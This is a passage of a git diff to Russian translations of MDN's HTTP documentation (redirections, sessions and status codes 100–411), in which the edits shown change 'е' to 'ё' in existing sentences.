имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.</p> @@ -185,7 +185,7 @@ translation_of: Web/HTTP/Redirections <p>{{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их. Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. </p> -<p>В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.</p> +<p>В этом случае, сервер вернёт ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.</p> <h3 id="Временные_ответы_на_долгие_запросы">Временные ответы на долгие запросы</h3> @@ -223,7 +223,7 @@ Redirect 301 / http://www.example.com <h3 id="Nginx">Nginx</h3> -<p>В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:</p> +<p>В Nginx, вы создаёте особый серверный блок для контента, который вы хотите перенаправлять:</p> <pre>server { listen 80; @@ -243,7 +243,7 @@ rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; <h2 id="Циклы_перенаправлений">Циклы перенаправлений</h2> -<p>Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.</p> +<p>Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счёте ни одна страница не будет найдена.</p> <p>В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} <code>Internal Server Error</code>. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.</p> diff --git a/files/ru/web/http/session/index.html b/files/ru/web/http/session/index.html index a8a53f9090..1b94555603 100644 --- a/files/ru/web/http/session/index.html +++ b/files/ru/web/http/session/index.html @@ -27,7 +27,7 @@ translation_of: Web/HTTP/Session <h2 id="Отправка_запроса_клиента">Отправка запроса клиента</h2> -<p>Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделенные между собой при помощи CRLF (переноса строки). Сам запрос включает в себя три блока:</p> +<p>Когда соединение установлено user-agent может послать запрос. (user-agent это обычно веб браузер, но может им не быть) Клиентский запрос это текстовые директивы, разделённые между собой при помощи CRLF (переноса строки). Сам запрос включает в себя три блока:</p> <ol> <li>Первые строки содержат метод запроса и его параметры: @@ -36,7 +36,7 @@ translation_of: Web/HTTP/Session <li>версию HTTP протокола </li> </ul> </li> - <li>Каждая последующая строка представляет собой HTTP заголовок и передает серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.</li> + <li>Каждая последующая строка представляет собой HTTP заголовок и передаёт серверу некоторую информацию о типах предпочитаемых данных (например, какой язык , какие MIME типы) или инструкции меняющие поведение сервера (например, не отправлять ответ, если он уже в кэше) . Эти HTTP заголовки формируют блок, который заканчивается пустой строкой.</li> <li>Последний блок является не обязательным и содержит дополнительные данные. По большей части используется методом POST.</li> </ol> @@ -63,16 +63,16 @@ name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue</pre> <h3 id="Методы_запроса">Методы запроса</h3> -<p>HTTP определяет набор <a href="/en-US/docs/Web/HTTP/Methods">методов запроса</a> с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространенные запросы <code>GET</code> и <code>POST</code>:</p> +<p>HTTP определяет набор <a href="/en-US/docs/Web/HTTP/Methods">методов запроса</a> с указанием желаемого действие на ресурсе. Хотя они также могут быть и существительными, эти запросы методы иногда называют HTTP-командами. Наиболее распространённые запросы <code>GET</code> и <code>POST</code>:</p> <ul> <li>{{HTTPMethod("GET")}} используется для запроса содержимого указанного ресурса. Запрос с использованием <code>GET</code> должен только получать данные.</li> - <li>{{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять свое состояние. Этот метод часто используется для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>.</li> + <li>{{HTTPMethod("POST")}} метод отправляет данные на сервер, так что он может изменять своё состояние. Этот метод часто используется для <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML форм</a>.</li> </ul> <h2 id="Структура_ответа_от_сервера">Структура ответа от сервера</h2> -<p>После того как присоединенный агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделенные между собой CRLF, сгруппированные в три разных блока:</p> +<p>После того как присоединённый агент отправил свой запрос, веб сервер обрабатывает его и отправляет ответ. По аналогии с клиентским запросом, ответ сервера — это текстовые директивы разделённые между собой CRLF, сгруппированные в три разных блока:</p> <ol> <li>Первая строка — строка статуса, состоит из подтверждения используемой HTTP версии и статуса запроса (и его значения в виде, понятном человеку).</li> @@ -97,7 +97,7 @@ Content-Type: text/html </pre> -<p>Сообщение о том, что запрашиваемый ресурс был перемещен:</p> +<p>Сообщение о том, что запрашиваемый ресурс был перемещён:</p> <pre>HTTP/1.1 301 Moved Permanently Server: Apache/2.2.3 (Red Hat) @@ -140,7 +140,7 @@ Content-Type: text/html <h3 id="Коды_статусов_ответа">Коды статусов ответа</h3> -<p><a href="/ru/docs/Web/HTTP/Status">HTTP-коды ответов</a> показывают, выполнен ли успешно определенный HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.</p> +<p><a href="/ru/docs/Web/HTTP/Status">HTTP-коды ответов</a> показывают, выполнен ли успешно определённый HTTP-запрос. Ответы сгруппированы в пять классов: информационные ответы, успешные ответы, редиректы, ошибки клиента и ошибки сервера.</p> <ul> <li>{{HTTPStatus(200)}}: OK. Запрос завершился успехом.</li> diff --git a/files/ru/web/http/status/100/index.html b/files/ru/web/http/status/100/index.html index 5e9b4a15b7..d96b80e56e 100644 --- a/files/ru/web/http/status/100/index.html +++ b/files/ru/web/http/status/100/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/100 <p> Код ответа "HTTP <strong><code>100 Continue"</code></strong> на информационный статус указывает, что все до сих пор в порядке и что клиент должен продолжить запрос или игнорировать его, если он уже завершен.</p> -<p>Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}<code>:100-continue</code> в качестве заголовка в своем первоначальном запросе и получить код состояния <code>100-continue </code>в ответ перед отправкой тела.</p> +<p>Чтобы сервер проверял заголовки запроса, клиент должен отправить {{HTTPHeader("Expect")}}<code>:100-continue</code> в качестве заголовка в своём первоначальном запросе и получить код состояния <code>100-continue </code>в ответ перед отправкой тела.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/200/index.html b/files/ru/web/http/status/200/index.html index bd1f64e5e5..ae8a98f91b 100644 --- a/files/ru/web/http/status/200/index.html +++ b/files/ru/web/http/status/200/index.html @@ -10,9 +10,9 @@ translation_of: Web/HTTP/Status/200 <p>Значение успеха зависит от метода <em>HTTP-</em>запроса:</p> <ul> - <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>Ресурс был извлечен и передан в теле сообщения.</span></span></li> + <li>{{HTTPMethod("GET")}}: <span class="short_text" id="result_box" lang="ru"><span>Ресурс был извлечён и передан в теле сообщения.</span></span></li> <li>{{HTTPMethod("HEAD")}}: <span class="short_text" id="result_box" lang="ru"><span>Заголовки объектов находятся в теле сообщения.</span></span></li> - <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>Ресурс, описывающий результат действия, передается в теле сообщения.</span></span></li> + <li>{{HTTPMethod("POST")}}: <span id="result_box" lang="ru"><span>Ресурс, описывающий результат действия, передаётся в теле сообщения.</span></span></li> <li>{{HTTPMethod("TRACE")}}:<span id="result_box" lang="ru"><span>Тело сообщения содержит сообщение запроса, полученное сервером.</span></span></li> </ul> diff --git a/files/ru/web/http/status/201/index.html b/files/ru/web/http/status/201/index.html index 9bb49c0dfc..9d55a9eb3b 100644 --- a/files/ru/web/http/status/201/index.html +++ b/files/ru/web/http/status/201/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/201 <div> <p>{{HTTPSidebar}}</p> -<p>HTTP <strong><code>201 Created</code></strong> Код ответа об успешном статусе указывает, что запрос выполнен успешно и привел к созданию ресурса. Новый ресурс эффективно создается до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">Location</a>.</code></p> +<p>HTTP <strong><code>201 Created</code></strong> Код ответа об успешном статусе указывает, что запрос выполнен успешно и привёл к созданию ресурса. Новый ресурс эффективно создаётся до отправки этого ответа. И новый ресурс возвращается в теле сообщения, его местоположение представляет собой либо URL-адрес запроса, либо содержимое заголовка <code><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Location" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">Location</a>.</code></p> <p>Общим случаем использования этого кода состояния является результат <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Methods/POST" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!"><code>POST</code></a> запроса.</p> </div> diff --git a/files/ru/web/http/status/202/index.html b/files/ru/web/http/status/202/index.html index ac2d42a884..4acbea6708 100644 --- a/files/ru/web/http/status/202/index.html +++ b/files/ru/web/http/status/202/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/202 --- <div>{{HTTPSidebar}}</div> -<p>Код состояния ответа "<em>The HTTP</em> <code><strong>202</strong></code><strong><code> Accepted" </code></strong>указывает, что запрос получен, но еще не обработан. Это не является обязательным, что означает, что в <em>HTTP</em> невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.</p> +<p>Код состояния ответа "<em>The HTTP</em> <code><strong>202</strong></code><strong><code> Accepted" </code></strong>указывает, что запрос получен, но ещё не обработан. Это не является обязательным, что означает, что в <em>HTTP</em> невозможно передать более поздний асинхронный ответ, указывающий на результат обработки запроса. Он предназначен для случаев, когда другой процесс или сервер обрабатывает запрос или для пакетной обработки.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/203/index.html b/files/ru/web/http/status/203/index.html index aabd4310ac..4d184c15ce 100644 --- a/files/ru/web/http/status/203/index.html +++ b/files/ru/web/http/status/203/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/203 --- <div>{{HTTPSidebar}}</div> -<p>"The HTTP <strong><code>203 Non-Authoritative Information" </code></strong>Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учетом ответа сервера{{HTTPStatus("200")}} (<code>OK</code>) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.</p> +<p>"The HTTP <strong><code>203 Non-Authoritative Information" </code></strong>Статус ответа указывает, что запрос был успешным, но прилагаемая полезная нагрузка была изменена с учётом ответа сервера{{HTTPStatus("200")}} (<code>OK</code>) сервера происхождения с помощью преобразующего {{Glossary("Proxy server", "proxy")}}.</p> <p>"The <code>203"</code> ответ аналогичен значению <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>, значение "<code>Transformation Applied"</code>, кода {{HTTPHeader("Warning")}} имеет дополнительное преимущество, применимое к ответам с любым кодом состояния.</p> diff --git a/files/ru/web/http/status/204/index.html b/files/ru/web/http/status/204/index.html index c874bd3e14..299a8c9b81 100644 --- a/files/ru/web/http/status/204/index.html +++ b/files/ru/web/http/status/204/index.html @@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/204 --- <div>{{HTTPSidebar}}</div> -<p>"The HTTP <strong><code>204 No Content"</code></strong> код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ <strong>204</strong> кэшируется. В такой ответ включен {{HTTPHeader("ETag")}}.</p> +<p>"The HTTP <strong><code>204 No Content"</code></strong> код ответа статуса успеха указывает, что запрос имеет успех, но что клиенту не нужно уходить со своей текущей страницы. По умолчанию ответ <strong>204</strong> кэшируется. В такой ответ включён {{HTTPHeader("ETag")}}.</p> -<p>Общим вариантом использования является возвращение <strong>204</strong> в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} <strong>Created</strong>. Если страница должна быть изменена на вновь обновленную страницу, вместо нее следует использовать {{HTTPStatus("200")}}.</p> +<p>Общим вариантом использования является возвращение <strong>204</strong> в результате запроса {{HTTPMethod("PUT")}}, обновления ресурса, без изменения текущего содержимого страницы, отображаемой пользователю. Если ресурс создан, вместо него возвращается {{HTTPStatus("201")}} <strong>Created</strong>. Если страница должна быть изменена на вновь обновлённую страницу, вместо неё следует использовать {{HTTPStatus("200")}}.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/206/index.html b/files/ru/web/http/status/206/index.html index d34fac6443..a670db7fd3 100644 --- a/files/ru/web/http/status/206/index.html +++ b/files/ru/web/http/status/206/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/206 <p>"The HTTP <strong><code>206 Partial Content"</code></strong>код ответа на статус успешного указывает, что запрос преуспел, и тело содержит запрошенные диапазоны данных, как описано в {{HTTPHeader("Range")}} запроса</p> -<p>Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задается типом документа, а также {{HTTPHeader("Content-Range")}}</p> +<p>Если существует только один диапазон, {{HTTPHeader("Content-Type")}} всего ответа задаётся типом документа, а также {{HTTPHeader("Content-Range")}}</p> <p>Если несколько диапазонов отправлены обратно, {{HTTPHeader("Content-Type")}} задано значение <strong>multipart/byteranges</strong>, и каждый фрагмент охватывает один диапазон, {{HTTPHeader("Content-Range")}} и {{HTTPHeader("Content-Type")}}, описывающий его.</p> </div> diff --git a/files/ru/web/http/status/301/index.html b/files/ru/web/http/status/301/index.html index 8456c79e66..3020b45294 100644 --- a/files/ru/web/http/status/301/index.html +++ b/files/ru/web/http/status/301/index.html @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/301 --- <div>{{HTTPSidebar}}</div> -<p>Код перенаправления "<code><strong>301</strong></code><strong><code> Moved Permanently</code></strong>" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещен в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).</p> +<p>Код перенаправления "<code><strong>301</strong></code><strong><code> Moved Permanently</code></strong>" протокола передачи гипертекста (HTTP) показывает, что запрошенный ресурс был окончательно перемещён в URL, указанный в заголовке {{HTTPHeader("Location")}}. Браузер в случае такого ответа перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (говоря языком SEO, вес страницы переносится на новый URL-адрес).</p> -<p>Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все еще можете столкнуться с программами имеющими этот баг. Именно поэтому код <strong>301 </strong>рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.</p> +<p>Даже если спецификация требует, чтобы при выполнении перенаправления, метод и тело запроса не изменялись, не все пользовательские приложения обращают на это внимание, и вы все ещё можете столкнуться с программами имеющими этот баг. Именно поэтому код <strong>301 </strong>рекомендуется только в качестве ответа на {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}} запрос, а для {{HTTPMethod("POST")}} рекомендуется код {{HTTPStatus("308", "308 Permanent Redirect")}}, так как он явно запрещает изменение метода запроса.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/302/index.html b/files/ru/web/http/status/302/index.html index 34c5344642..f04eaea946 100644 --- a/files/ru/web/http/status/302/index.html +++ b/files/ru/web/http/status/302/index.html @@ -9,11 +9,11 @@ translation_of: Web/HTTP/Status/302 --- <div>{{HTTPSidebar}}</div> -<p>HTTP код перенаправления <code><strong>302</strong></code><strong><code> Found</code></strong> означает, что запрошенный ресурс был временно перемещен по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).</p> +<p>HTTP код перенаправления <code><strong>302</strong></code><strong><code> Found</code></strong> означает, что запрошенный ресурс был временно перемещён по адресу, указанному в заголовке {{HTTPHeader("Location")}}. Получив такой ответ браузер перенаправляется на новую страницу, но поисковые системы не обновляют свои ссылки на ресурс (в жаргоне SEO говорят, что вес ссылки (link-juice) не меняется и не отправляется на новый URL-адрес).</p> <p>Несмотря на требование спецификации не изменять при перенаправлении метод и тело запроса, не все программные клиенты выполняют его, и с некоторыми из них можно столкнуться до сих пор. Поэтому рекомендуется установить код <code>302</code> только как ответ для методов {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}. Для остальных случаев лучше использовать код {{HTTPStatus("307", "307 Temporary Redirect")}}, поскольку в этом случае изменение метода явно запрещено.</p> -<p>В тех случаях, когда вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> +<p>В тех случаях, когда вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте код {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, но является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/307/index.html b/files/ru/web/http/status/307/index.html index 38cdf13766..6978f10cfe 100644 --- a/files/ru/web/http/status/307/index.html +++ b/files/ru/web/http/status/307/index.html @@ -9,9 +9,9 @@ translation_of: Web/HTTP/Status/307 --- <div>{{HTTPSidebar}}</div> -<p>{{Glossary("HTTP")}} код перенаправления <code><strong>307</strong> Temporary Redirect</code> означает, что запрошенный ресурс был временно перемещен в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.</p> +<p>{{Glossary("HTTP")}} код перенаправления <code><strong>307</strong> Temporary Redirect</code> означает, что запрошенный ресурс был временно перемещён в URL-адрес, указанный в заголовке {{HTTPHeader("Location")}}.</p> -<p>Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменен на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> +<p>Метод и тело исходного запроса повторно используются для выполнения перенаправленного запроса. Если вы хотите, чтобы используемый метод был изменён на {{HTTPMethod("GET")}}, используйте {{HTTPStatus("303", "303 See Other")}}. Это полезно, если вы хотите дать ответ на метод {{HTTPMethod("PUT")}}, который не является загруженным ресурсом, а является подтверждающим сообщением (например, «Вы успешно загрузили XYZ»).</p> <p>Единственное различие между <code>307</code> и {{HTTPStatus("302")}} состоит в том, что <code>307</code> гарантирует, что метод и тело не будут изменены при выполнении перенаправленного запроса. В случае с кодом <code>302</code> некоторые старые клиенты неправильно меняли метод на {{HTTPMethod("GET")}}, из-за чего поведение запросов с методом отличным от <code>GET</code> и ответа с кодом <code>302</code> непредсказуемо, тогда как поведение в случае ответа с кодом <code>307</code> предсказуемо. Для запросов <code>GET</code> поведение идентично.</p> diff --git a/files/ru/web/http/status/308/index.html b/files/ru/web/http/status/308/index.html index 6416f1cf9c..be80d3e6c4 100644 --- a/files/ru/web/http/status/308/index.html +++ b/files/ru/web/http/status/308/index.html @@ -5,9 +5,9 @@ translation_of: Web/HTTP/Status/308 --- <div>{{HTTPSidebar}}</div> -<p>Код ответа на статус перенаправления "HTTP <code><strong>308</strong></code><strong><code> Permanent Redirect"</code></strong> указывает, что запрошенный ресурс был окончательно перемещен в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).</p> +<p>Код ответа на статус перенаправления "HTTP <code><strong>308</strong></code><strong><code> Permanent Redirect"</code></strong> указывает, что запрошенный ресурс был окончательно перемещён в URL-адрес, указанный в {{HTTPHeader("Location")}}. Браузер перенаправляется на эту страницу, а поисковые системы обновляют свои ссылки на ресурс (в SEO-speak говорится, что link-juice отправляется на новый URL-адрес).</p> -<p>Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}} иногда может быть неправильно заменен на {{HTTPHeader("GET")}} метод.</p> +<p>Метод запроса и тело не будут изменены, тогда как {{HTTPStatus("301")}} иногда может быть неправильно заменён на {{HTTPHeader("GET")}} метод.</p> <div class="note"> <p>Некоторые веб-приложения могут использовать <strong>308 Permanent Redirect</strong> нестандартным образом и для других целей. Например, Google Drive использует ответ <strong>308 Resume Incomplete</strong>, чтобы указать клиенту, когда неполная загрузка застопорилась.<a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></p> diff --git a/files/ru/web/http/status/401/index.html b/files/ru/web/http/status/401/index.html index e093e7d774..021606e74a 100644 --- a/files/ru/web/http/status/401/index.html +++ b/files/ru/web/http/status/401/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/401 --- <div>{{HTTPSidebar}}</div> -<p>Код ответа на статус ошибки HTTP <code>401 Unauthorized </code>клиента указывает, что запрос не был применен, поскольку ему не хватает действительных учетных данных для целевого ресурса.</p> +<p>Код ответа на статус ошибки HTTP <code>401 Unauthorized </code>клиента указывает, что запрос не был применён, поскольку ему не хватает действительных учётных данных для целевого ресурса.</p> <p>Этот статус отправляется с {{HTTPHeader("WWW-Authenticate")}}, который содержит информацию о правильности авторизации.</p> diff --git a/files/ru/web/http/status/402/index.html b/files/ru/web/http/status/402/index.html index 93b58f1dd6..09007391c1 100644 --- a/files/ru/web/http/status/402/index.html +++ b/files/ru/web/http/status/402/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/402 <p>HTTP-ответ <strong><code>402 Payment Required</code></strong> это нестандартная ошибка клиента, зарезервированная для использования в будущем.</p> -<p>Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платежных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.</p> +<p>Иногда этот код означает, что запрос не может быть выполнен до тех пор, пока клиент не совершит оплату. Изначально создан для активации цифровых средств или (микро) платёжных систем и изображает, что запрошенный контент недоступен пока клиент не совершит оплату. Так или иначе, стандартизованного использования для кода нет, и он может использоваться разными элементами в разном контексте.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/403/index.html b/files/ru/web/http/status/403/index.html index 42f95f5f95..459b45c551 100644 --- a/files/ru/web/http/status/403/index.html +++ b/files/ru/web/http/status/403/index.html @@ -7,7 +7,7 @@ translation_of: Web/HTTP/Status/403 <p>Код ответа на статус ошибки "HTTP 403 Forbidden" указывает, что сервер понял запрос, но отказывается его авторизовать.</p> -<p>Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещен и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).</p> +<p>Этот статус похож на {{HTTPStatus("401")}}, но в этом случае повторная аутентификация не будет иметь никакого значения. Доступ запрещён и привязан к логике приложения (например, у пользователя не хватает прав доступа к запрашиваемому ресурсу).</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/405/index.html b/files/ru/web/http/status/405/index.html index afea810f1b..8259e60b6d 100644 --- a/files/ru/web/http/status/405/index.html +++ b/files/ru/web/http/status/405/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/405 --- <div>{{HTTPSidebar}}</div> -<p>Код состояния протокола HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong>, указывает, что метод запроса известен серверу, но был отключен и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.</p> +<p>Код состояния протокола HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong>, указывает, что метод запроса известен серверу, но был отключён и не может быть использован. Два обязательных метода {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} никогда не должны быть отключены и не должны возвращать этот код ошибки.</p> <p>Сервер ОБЯЗАН сгенерировать поле заголовка <code><strong>Allow</strong></code> в ответе с кодом 405, которое содержит список текущих доступных методов ресурса.</p> diff --git a/files/ru/web/http/status/406/index.html b/files/ru/web/http/status/406/index.html index 1e61d4a6f7..6a402c4529 100644 --- a/files/ru/web/http/status/406/index.html +++ b/files/ru/web/http/status/406/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTTP/Status/406 --- <div>{{HTTPSidebar}}</div> -<p>HyperText Transfer Protocol (HTTP) код ошибки клиента <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определенных в заголовках упреждающего <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования контента</a>, и что сервер не желает вернуть представление контента по умолчанию.</p> +<p>HyperText Transfer Protocol (HTTP) код ошибки клиента <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> означает, что сервер не может вернуть ответ, соответствующий списку допустимых значений, определённых в заголовках упреждающего <a href="/ru/docs/Web/HTTP/Content_negotiation">согласования контента</a>, и что сервер не желает вернуть представление контента по умолчанию.</p> <p>Заголовки упреждающего согласования контента включают:</p> @@ -19,7 +19,7 @@ translation_of: Web/HTTP/Status/406 <li>{{HTTPHeader("Accept-Language")}}</li> </ul> -<p>На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтет это коду ошибки.</p> +<p>На практике эта ошибка очень редко используется. Вместо ответа с использованием этого кода ошибки, который может быть загадочным для конечного пользователя и трудным для исправления, серверы игнорируют соответствующий заголовок и предоставляют актуальную страницу для пользователя. Предполагается, что даже если пользователь не будет полностью удовлетворён, он предпочтёт это коду ошибки.</p> <p>Если сервер возвращает такой код ошибки, тело сообщения должно содержать список доступных представлений ресурсов, позволяя вручную выбирать между ними.</p> diff --git a/files/ru/web/http/status/407/index.html b/files/ru/web/http/status/407/index.html index 4f66630555..ddbd433687 100644 --- a/files/ru/web/http/status/407/index.html +++ b/files/ru/web/http/status/407/index.html @@ -6,7 +6,7 @@ translation_of: Web/HTTP/Status/407 <div> <p>{{HTTPSidebar}}</p> -<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>код ответа на ошибку клиента указывает, что запрос не был применен, поскольку он не имеет достоверных учетных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..</p> +<p>HTTP <strong><code>407 Proxy Authentication Required </code></strong>код ответа на ошибку клиента указывает, что запрос не был применён, поскольку он не имеет достоверных учётных данных для {{Glossary("proxy server")}}, который находится между браузером и сервером, который может получить доступ к запрашиваемому ресурсу..</p> <p>Этот статус отправляется с {{HTTPHeader("Proxy-Authenticate")}}, который содержит информацию о том, как правильно разрешить авторизацию.</p> </div> diff --git a/files/ru/web/http/status/408/index.html b/files/ru/web/http/status/408/index.html index 9f0f0de305..d7950cd91c 100644 --- a/files/ru/web/http/status/408/index.html +++ b/files/ru/web/http/status/408/index.html @@ -9,7 +9,7 @@ translation_of: Web/HTTP/Status/408 <p>Сервер должен отправить заголовок {{HTTPHeader("Connection")}} со значением «close» в ответ, поскольку <strong>408</strong> подразумевает, что сервер решил закрыть соединение, а не продолжать ждать.</p> -<p>Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения серфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.</p> +<p>Этот ответ используется гораздо больше, поскольку некоторые браузеры, такие как Chrome, Firefox 27+ или IE9, используют механизмы предварительного подключения HTTP для ускорения сёрфинга. Также обратите внимание, что некоторые серверы просто закрывают соединение без отправки этого сообщения.</p> <h2 id="Статус">Статус</h2> diff --git a/files/ru/web/http/status/411/index.html b/files/ru/web/http/status/411/index.html index 9c7899a650..f3986bf132 100644 --- a/files/ru/web/http/status/411/index.html +++ b/files/ru/web/http/status/411/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTTP/Status/411 --- 